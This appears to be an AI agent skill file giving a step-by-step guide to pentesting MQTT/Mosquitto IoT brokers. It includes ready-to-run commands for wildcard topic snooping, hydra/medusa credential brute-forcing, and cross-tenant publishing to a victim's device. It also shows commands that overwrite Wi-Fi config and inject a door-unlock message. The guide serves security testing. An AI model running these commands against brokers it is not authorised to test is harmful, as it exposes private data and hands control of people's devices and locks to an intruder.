| name | mqtt-pentesting |
| description | Pentest MQTT (Mosquitto) services on port 1883 or non-standard ports. Use this skill whenever the user mentions MQTT, Mosquitto, IoT device testing, publish/subscribe protocols, or needs to enumerate and exploit MQTT brokers. This includes checking for authentication bypass, topic enumeration, ACL bypass, and plaintext credential exposure. |
MQTT Pentesting Skill
A comprehensive guide for pentesting MQTT (Mosquitto) services, commonly found in IoT environments.
When to Use This Skill
Use this skill when:
- Port 1883 (or non-standard MQTT ports) is open on a target
- You need to enumerate MQTT topics and messages
- Testing IoT device communication protocols
- Checking for authentication bypass or weak ACLs
- Analyzing publish/subscribe message flows
- Looking for plaintext credential exposure
Quick Start
mosquitto_sub -h <host> -p <port> -t "#" -v
mosquitto_sub -h <host> -p <port> -t "$SYS/#" -v
mosquitto_pub -h <host> -p <port> -t "test/topic" -m "Hello World"
Step 1: Service Discovery
Identify MQTT Services
MQTT typically runs on port 1883, but IoT devices often use non-standard ports:
nmap -p 1883 --script mqtt-discover <target>
nmap -p 1883,8001,8883,8080,9001 <target>
Verify MQTT Protocol
Use Wireshark to confirm MQTT traffic on suspicious ports:
- Look for CONNECT/CONNACK packets
- Check for SUBSCRIBE/PUBLISH frames
- Note: MQTT is often plaintext (no TLS)
Step 2: Connection Testing
Test Anonymous Access
Many MQTT brokers allow unauthenticated connections:
mosquitto_sub -h <host> -p <port> -t "#" -v
Use the MQTT Scanner Script
Run the bundled scanner to automate connection testing:
python scripts/mqtt_scanner.py --host <target> --port <port>
This script will:
- Attempt anonymous connection
- Subscribe to all topics (
#)
- Subscribe to system topics (
$SYS/#)
- Display received messages in real-time
Step 3: Topic Enumeration
Subscribe to Common Topics
mosquitto_sub -h <host> -p <port> -t "#" -v
mosquitto_sub -h <host> -p <port> -t "$SYS/#" -v
mosquitto_sub -h <host> -p <port> -t "home/#" -v
mosquitto_sub -h <host> -p <port> -t "device/#" -v
mosquitto_sub -h <host> -p <port> -t "sensor/#" -v
mosquitto_sub -h <host> -p <port> -t "control/#" -v
IoT-Specific Topic Patterns
Consumer IoT platforms often use predictable topic structures:
mosquitto_sub -h <broker> -p <port> -t "/gateway/<deviceId>/#" -v
mosquitto_sub -h <broker> -p <port> -t "/app/<deviceId>/#" -v
mosquitto_sub -h <broker> -p <port> -t "/admin/#" -v
mosquitto_sub -h <broker> -p <port> -t "/config/#" -v
mosquitto_sub -h <broker> -p <port> -t "/sys/#" -v
Step 4: Authentication Testing
Brute-Force Credentials
If authentication is required, test common credentials:
hydra -l <username> -P <wordlist> <target> mqtt
medusa -h <target> -u <username> -P <wordlist> -M mqtt
Test with Known Credentials
mosquitto_sub -h <host> -p <port> -u <username> -P <password> -t "#" -v
Step 5: ACL Bypass Testing
Cross-Tenant Access
Test if you can access other tenants' devices:
mosquitto_pub -h <broker> -p <port> \
-u <username> -P <password> \
-t "/tenant/<victimDeviceId>/tx" \
-m '{"command":"power","value":"on"}'
mosquitto_sub -h <broker> -p <port> \
-u <username> -P <password> \
-t "/tenant/<victimDeviceId>/#" -v
Common ACL Bypass Patterns
mosquitto_pub -h <broker> -p <port> \
-t "/admin/config" \
-m '{"wifi_ssid":"evil","wifi_pass":"password"}'
mosquitto_pub -h <broker> -p <port> \
-t "/device/<id>/control" \
-m '{"method":"Device.setState","params":{"state":{"power":"on"}}}'
Step 6: Message Injection
Publish Test Messages
mosquitto_pub -h <host> -p <port> -t "test/topic" -m "Hello World"
mosquitto_pub -h <host> -p <port> -t "device/control" \
-m '{"action":"unlock","device":"door1"}'
mosquitto_pub -h <host> -p <port> -t "topic" -m "message" -q 1
MQTT Packet Types Reference
| Type | Code | Description |
|---|
| CONNECT | 1 | Client requests connection |
| CONNACK | 2 | Server acknowledges connection |
| PUBLISH | 3 | Send message |
| PUBACK | 4 | Acknowledge PUBLISH |
| SUBSCRIBE | 8 | Request to listen to topic |
| SUBACK | 9 | Acknowledge SUBSCRIBE |
| UNSUBSCRIBE | 10 | Stop receiving topic |
| DISCONNECT | 14 | Terminate connection |
Common Vulnerabilities
1. Plaintext Credentials
- MQTT does not use encryption by default
- Credentials sent in clear text
- Use Wireshark to capture CONNECT packets
2. Missing Authentication
- Many brokers allow anonymous access
- Check return code 0x00 (accepted) vs 0x05 (refused)
3. Weak Topic ACLs
- Topics namespaced only by deviceId
- Any authenticated user can access all devices
- Test cross-tenant access
4. Sensitive Data Leakage
- Wi-Fi credentials in config topics
- Device state information
- User activity data
Tools
Mosquitto Clients
apt-get install mosquitto mosquitto-clients
Python MQTT Client
pip install paho-mqtt
Additional Tools
Reporting
Document findings with:
- Broker address and port
- Authentication status (open/required)
- Enumerated topics
- Sensitive data discovered
- ACL bypass capabilities
- Sample messages captured
References